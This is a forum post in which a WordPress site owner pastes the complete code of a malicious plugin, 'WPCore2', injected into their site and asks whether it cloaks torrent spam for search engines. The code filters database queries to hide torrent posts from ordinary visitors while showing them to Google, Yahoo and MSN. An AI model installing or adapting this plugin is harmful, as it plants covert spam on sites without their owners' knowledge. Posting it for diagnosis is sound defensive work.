virus help

Hi,
Here is the code injected into a new plugin on my website.

I’ve cleaned it, restored my posts but i’m more concerned by the last part of the code with “$array = array(“google”, “yahoo”, “msn”);”
i’m understanding it by the fact the plugin display their torrent posts only for the search engine, i’m right ?

by removing the plugin it will be ok right ?

<?php

/*
* Plugin Name: WPCore2
* Version: 1.0
* Author: Lososev
*/

function stripos_array($str, $array)
{
	foreach($array as $substr)
	{
		if (stripos($str, $substr) !== false)
			return true;
	}
	return false;
}

function ex_posts($clauses)
{
	global $wpdb;

	$clauses['where'] .= " AND {$wpdb->posts}.post_content NOT LIKE '%torrent%'";
	return $clauses;
}

function ex_cats($clauses)
{
	global $wpdb;

	$cats = $wpdb->get_col("SELECT key1.term_id FROM wp_term_taxonomy key1 INNER JOIN wp_term_relationships key2 on key2.term_taxonomy_id = key1.term_taxonomy_id and key1.taxonomy = 'category' INNER JOIN wp_posts key3 on key3.id = key2.object_id and key3.post_content LIKE '%torrent%'");

	$clauses['where'] .= " AND t.term_id NOT IN(" . implode(",", $cats) . ")";
	return $clauses;
}

$array	= array("google", "yahoo", "msn");

if(stripos_array($_SERVER['HTTP_REFERER'], $array) == false && stripos_array($_SERVER['HTTP_USER_AGENT'], $array) == false)
{
	add_filter("posts_clauses", "ex_posts");
	add_filter("terms_clauses", "ex_cats");
}
else
{
	add_action('wp_get_archive', 'wp_get_archives');
}

?>